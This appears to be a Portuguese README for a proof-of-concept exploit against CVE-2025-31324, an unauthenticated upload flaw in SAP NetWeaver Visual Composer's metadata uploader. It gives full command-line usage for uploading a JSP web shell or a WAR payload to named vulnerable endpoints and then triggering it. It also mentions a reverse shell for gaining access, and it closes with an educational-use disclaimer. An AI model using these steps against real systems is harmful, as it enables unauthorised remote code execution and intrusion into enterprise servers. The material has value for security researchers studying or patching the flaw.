CVE-2025-31324_PoC

Prova de conceito para CVE-2025-31324: Upload não autenticado no SAP NetWeaver Visual Composer Metadata Uploader

Este script executa:

1. Upload de arquivo para o endpoint vulnerável (via host/porta de upload)
2. Acionamento opcional via HTTP GET (via host/porta do trigger)
3. Validação/registro básico de resposta

Exemplo de uso: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

Você também tem a possibilidade de enviar um arquivo .war, caso prefira executar dessa forma. O cache.jsp é um reverse shell que fornecerá acesso assim que estiver dentro do sistema. (Ainda estou resolvendo alguns problemas nessa parte)

Aviso Legal

Isto destina-se apenas a fins educacionais e não deve ser usado para atividades maliciosas. Sempre garanta que você tenha as permissões necessárias e siga as diretrizes éticas ao testar ou pesquisar vulnerabilidades de segurança.

Para quaisquer dúvidas ou esclarecimentos, sinta-se à vontade para entrar em contato. Mantenha-se seguro!